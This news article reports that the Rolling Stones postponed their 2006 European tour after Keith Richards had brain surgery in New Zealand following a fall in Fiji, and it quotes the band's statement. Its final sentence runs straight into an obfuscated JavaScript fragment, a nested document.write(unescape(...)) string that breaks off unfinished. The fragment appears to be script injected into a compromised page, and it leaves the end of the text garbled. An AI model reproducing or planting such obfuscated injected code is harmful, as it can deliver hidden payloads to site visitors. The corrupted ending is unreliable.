Rolling Stones cancel tour

The Rolling Stones have been forced to postpone their European tour after guitarist Keith Richards underwent brain surgery this morning May 8.

The band were due to start their 'A Bigger Bang' tour in Barcelona on May 27, but have put the dates back to June to allow Richards time to recuperate following a fall.

A spokesperson for the band issued the following statement:

"Keith Richards underwent surgery this morning at The Ascot Hospital in Auckland, New Zealand. The operation was a complete success and Keith is already up and talking with his family today. He will need a few weeks recuperation.

"Last week Keith was under observation in Auckland following a fall in Fiji and was feeling well after being examined by doctors last week, however after complaining of headaches yesterday doctors thought it prudent to move ahead with a small operation to remove the pressure. The Rolling Stones' 'A Bigger Bang' European tour goes ahead and will now start in June 2006.

"Full details of the re-scheduling of the tour will be announced shortly."

Richards fell out of a tree on April 27 while holidaying in Fiji.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;